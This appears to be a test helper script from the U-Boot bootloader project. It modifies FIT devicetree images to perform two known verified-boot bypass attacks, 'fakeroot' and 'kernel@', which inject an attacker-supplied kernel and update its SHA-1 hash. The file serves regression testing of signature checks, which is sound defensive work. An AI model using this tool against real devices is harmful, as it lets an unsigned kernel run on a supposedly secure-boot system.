# SPDX-License-Identifier: GPL-2.0 # Copyright (c) 2020, Intel Corporation """Modifies a devicetree to add a fake root node, for testing purposes""" import hashlib import struct import sys FDT_PROP = 0x3 FDT_BEGIN_NODE = 0x1 FDT_END_NODE = 0x2 FDT_END = 0x9 FAKE_ROOT_ATTACK = 0 KERNEL_AT = 1 MAGIC = 0xd00dfeed EVIL_KERNEL_NAME = b'evil_kernel' FAKE_ROOT_NAME = b'f@keroot' def getstr(dt_strings, off): """Get a string from the devicetree string table Args: dt_strings (bytes): Devicetree strings section off (int): Offset of string to read Returns: str: String read from the table """ output = '' while dt_strings[off]: output += chr(dt_strings[off]) off += 1 return output def align(offset): """Align an offset to a multiple of 4 Args: offset (int): Offset to align Returns: int: Resulting aligned offset (rounds up to nearest multiple) """ return (offset + 3) & ~3 def determine_offset(dt_struct, dt_strings, searched_node_name): """Determines the offset of an element, either a node or a property Args: dt_struct (bytes): Devicetree struct section dt_strings (bytes): Devicetree strings section searched_node_name (str): element path, ex: /images/kernel@1/data Returns: tuple: (node start offset, node end offset) if element is not found, returns (None, None) """ offset = 0 depth = -1 path = '/' object_start_offset = None object_end_offset = None object_depth = None while offset < len(dt_struct): (tag,) = struct.unpack('>I', dt_struct[offset:offset + 4]) if tag == FDT_BEGIN_NODE: depth += 1 begin_node_offset = offset offset += 4 node_name = getstr(dt_struct, offset) offset += len(node_name) + 1 offset = align(offset) if path[-1] != '/': path += '/' path += str(node_name) if path == searched_node_name: object_start_offset = begin_node_offset object_depth = depth elif tag == FDT_PROP: begin_prop_offset = offset offset += 4 len_tag, nameoff = struct.unpack('>II', dt_struct[offset:offset + 8]) offset += 8 prop_name = getstr(dt_strings, nameoff) len_tag = align(len_tag) offset += len_tag node_path = path + '/' + str(prop_name) if node_path == searched_node_name: object_start_offset = begin_prop_offset elif tag == FDT_END_NODE: offset += 4 path = path[:path.rfind('/')] if not path: path = '/' if depth == object_depth: object_end_offset = offset break depth -= 1 elif tag == FDT_END: break else: print('unknown tag=0x%x, offset=0x%x found!' % (tag, offset)) break return object_start_offset, object_end_offset def modify_node_name(dt_struct, node_offset, replcd_name): """Change the name of a node Args: dt_struct (bytes): Devicetree struct section node_offset (int): Offset of node replcd_name (str): New name for node Returns: bytes: New dt_struct contents """ # skip 4 bytes for the FDT_BEGIN_NODE node_offset += 4 node_name = getstr(dt_struct, node_offset) node_name_len = len(node_name) + 1 node_name_len = align(node_name_len) replcd_name += b'\0' # align on 4 bytes while len(replcd_name) % 4: replcd_name += b'\0' dt_struct = (dt_struct[:node_offset] + replcd_name + dt_struct[node_offset + node_name_len:]) return dt_struct def modify_prop_content(dt_struct, prop_offset, content): """Overwrite the value of a property Args: dt_struct (bytes): Devicetree struct section prop_offset (int): Offset of property (FDT_PROP tag) content (bytes): New content for the property Returns: bytes: New dt_struct contents """ # skip FDT_PROP prop_offset += 4 (len_tag, nameoff) = struct.unpack('>II', dt_struct[prop_offset:prop_offset + 8]) # compute padded original node length original_node_len = len_tag + 8 # content length + prop meta data len original_node_len = align(original_node_len) added_data = struct.pack('>II', len(content), nameoff) added_data += content while len(added_data) % 4: added_data += b'\0' dt_struct = (dt_struct[:prop_offset] + added_data + dt_struct[prop_offset + original_node_len:]) return dt_struct def change_property_value(dt_struct, dt_strings, prop_path, prop_value, required=True): """Change a given property value Args: dt_struct (bytes): Devicetree struct section dt_strings (bytes): Devicetree strings section prop_path (str): full path of the target property prop_value (bytes): new property name required (bool): raise an exception if property not found Returns: bytes: New dt_struct contents Raises: ValueError: if the property is not found """ (rt_node_start, _) = determine_offset(dt_struct, dt_strings, prop_path) if rt_node_start is None: if not required: return dt_struct raise ValueError('Fatal error, unable to find prop %s' % prop_path) dt_struct = modify_prop_content(dt_struct, rt_node_start, prop_value) return dt_struct def change_node_name(dt_struct, dt_strings, node_path, node_name): """Change a given node name Args: dt_struct (bytes): Devicetree struct section dt_strings (bytes): Devicetree strings section node_path (str): full path of the target node node_name (str): new node name, just node name not full path Returns: bytes: New dt_struct contents Raises: ValueError: if the node is not found """ (rt_node_start, rt_node_end) = ( determine_offset(dt_struct, dt_strings, node_path)) if rt_node_start is None or rt_node_end is None: raise ValueError('Fatal error, unable to find root node') dt_struct = modify_node_name(dt_struct, rt_node_start, node_name) return dt_struct def get_prop_value(dt_struct, dt_strings, prop_path): """Get the content of a property based on its path Args: dt_struct (bytes): Devicetree struct section dt_strings (bytes): Devicetree strings section prop_path (str): full path of the target property Returns: bytes: Property value Raises: ValueError: if the property is not found """ (offset, _) = determine_offset(dt_struct, dt_strings, prop_path) if offset is None: raise ValueError('Fatal error, unable to find prop') offset += 4 (len_tag,) = struct.unpack('>I', dt_struct[offset:offset + 4]) offset += 8 tag_data = dt_struct[offset:offset + len_tag] return tag_data def kernel_at_attack(dt_struct, dt_strings, kernel_content, kernel_hash): """Conduct the kernel@ attack It fetches from /configurations/default the name of the kernel being loaded. Then, if the kernel name does not contain any @sign, duplicates the kernel in /images node and appends '@evil' to its name. It inserts a new kernel content and updates its images digest. Inputs: - FIT dt_struct - FIT dt_strings - kernel content blob - kernel hash blob Important note: it assumes the U-Boot loading method is 'kernel' and the loaded kernel hash's subnode name is 'hash-1' """ # retrieve the default configuration name default_conf_name = get_prop_value( dt_struct, dt_strings, '/configurations/default') default_conf_name = str(default_conf_name[:-1], 'utf-8') conf_path = '/configurations/' + default_conf_name # fetch the loaded kernel name from the default configuration loaded_kernel = get_prop_value(dt_struct, dt_strings, conf_path + '/kernel') loaded_kernel = str(loaded_kernel[:-1], 'utf-8') if loaded_kernel.find('@') != -1: print('kernel@ attack does not work on nodes already containing an @ sign!') sys.exit() # determine boundaries of the loaded kernel (krn_node_start, krn_node_end) = (determine_offset( dt_struct, dt_strings, '/images/' + loaded_kernel)) if krn_node_start is None and krn_node_end is None: print('Fatal error, unable to find root node') sys.exit() # copy the loaded kernel loaded_kernel_copy = dt_struct[krn_node_start:krn_node_end] # insert the copy inside the tree dt_struct = dt_struct[:krn_node_start] + \ loaded_kernel_copy + dt_struct[krn_node_start:] evil_kernel_name = loaded_kernel+'@evil' # change the inserted kernel name dt_struct = change_node_name( dt_struct, dt_strings, '/images/' + loaded_kernel, bytes(evil_kernel_name, 'utf-8')) # change the content of the kernel being loaded dt_struct = change_property_value( dt_struct, dt_strings, '/images/' + evil_kernel_name + '/data', kernel_content) # change the content of the kernel being loaded dt_struct = change_property_value( dt_struct, dt_strings, '/images/' + evil_kernel_name + '/hash-1/value', kernel_hash) return dt_struct def fake_root_node_attack(dt_struct, dt_strings, kernel_content, kernel_digest): """Conduct the fakenode attack It duplicates the original root node at the beginning of the tree. Then it modifies within this duplicated tree: - The loaded kernel name - The loaded kernel data Important note: it assumes the UBoot loading method is 'kernel' and the loaded kernel hash's subnode name is hash@1 """ # retrieve the default configuration name default_conf_name = get_prop_value( dt_struct, dt_strings, '/configurations/default') default_conf_name = str(default_conf_name[:-1], 'utf-8') conf_path = '/configurations/'+default_conf_name # fetch the loaded kernel name from the default configuration loaded_kernel = get_prop_value(dt_struct, dt_strings, conf_path + '/kernel') loaded_kernel = str(loaded_kernel[:-1], 'utf-8') # determine root node start and end: (rt_node_start, rt_node_end) = (determine_offset(dt_struct, dt_strings, '/')) if (rt_node_start is None) or (rt_node_end is None): print('Fatal error, unable to find root node') sys.exit() # duplicate the whole tree duplicated_node = dt_struct[rt_node_start:rt_node_end] # dchange root name (empty name) to fake root name new_dup = change_node_name(duplicated_node, dt_strings, '/', FAKE_ROOT_NAME) dt_struct = new_dup + dt_struct # change the value of //configs//kernel # so our modified kernel will be loaded base = '/' + str(FAKE_ROOT_NAME, 'utf-8') value_path = base + conf_path+'/kernel' dt_struct = change_property_value(dt_struct, dt_strings, value_path, EVIL_KERNEL_NAME + b'\0') # change the node of the //images/ images_path = base + '/images/' node_path = images_path + loaded_kernel dt_struct = change_node_name(dt_struct, dt_strings, node_path, EVIL_KERNEL_NAME) # change the content of the kernel being loaded data_path = images_path + str(EVIL_KERNEL_NAME, 'utf-8') + '/data' dt_struct = change_property_value(dt_struct, dt_strings, data_path, kernel_content, required=False) # update the digest value hash_path = images_path + str(EVIL_KERNEL_NAME, 'utf-8') + '/hash-1/value' dt_struct = change_property_value(dt_struct, dt_strings, hash_path, kernel_digest) return dt_struct def add_evil_node(in_fname, out_fname, kernel_fname, attack): """Add an evil node to the devicetree Args: in_fname (str): Filename of input devicetree out_fname (str): Filename to write modified devicetree to kernel_fname (str): Filename of kernel data to add to evil node attack (str): Attack type ('fakeroot' or 'kernel@') Raises: ValueError: Unknown attack name """ if attack == 'fakeroot': attack = FAKE_ROOT_ATTACK elif attack == 'kernel@': attack = KERNEL_AT else: raise ValueError('Unknown attack name!') with open(in_fname, 'rb') as fin: input_data = fin.read() hdr = input_data[0:0x28] offset = 0 magic = struct.unpack('>I', hdr[offset:offset + 4])[0] if magic != MAGIC: raise ValueError('Wrong magic!') offset += 4 (totalsize, off_dt_struct, off_dt_strings, off_mem_rsvmap, version, last_comp_version, boot_cpuid_phys, size_dt_strings, size_dt_struct) = struct.unpack('>IIIIIIIII', hdr[offset:offset + 36]) rsv_map = input_data[off_mem_rsvmap:off_dt_struct] dt_struct = input_data[off_dt_struct:off_dt_struct + size_dt_struct] dt_strings = input_data[off_dt_strings:off_dt_strings + size_dt_strings] with open(kernel_fname, 'rb') as kernel_file: kernel_content = kernel_file.read() # computing inserted kernel hash val = hashlib.sha1() val.update(kernel_content) hash_digest = val.digest() if attack == FAKE_ROOT_ATTACK: dt_struct = fake_root_node_attack(dt_struct, dt_strings, kernel_content, hash_digest) elif attack == KERNEL_AT: dt_struct = kernel_at_attack(dt_struct, dt_strings, kernel_content, hash_digest) # now rebuild the new file size_dt_strings = len(dt_strings) size_dt_struct = len(dt_struct) totalsize = 0x28 + len(rsv_map) + size_dt_struct + size_dt_strings off_mem_rsvmap = 0x28 off_dt_struct = off_mem_rsvmap + len(rsv_map) off_dt_strings = off_dt_struct + len(dt_struct) header = struct.pack('>IIIIIIIIII', MAGIC, totalsize, off_dt_struct, off_dt_strings, off_mem_rsvmap, version, last_comp_version, boot_cpuid_phys, size_dt_strings, size_dt_struct) with open(out_fname, 'wb') as output_file: output_file.write(header) output_file.write(rsv_map) output_file.write(dt_struct) output_file.write(dt_strings) if __name__ == '__main__': if len(sys.argv) != 5: print('usage: %s ' % sys.argv[0]) print('valid attack names: [fakeroot, kernel@]') sys.exit(1) in_fname, out_fname, kernel_fname, attack = sys.argv[1:] add_evil_node(in_fname, out_fname, kernel_fname, attack)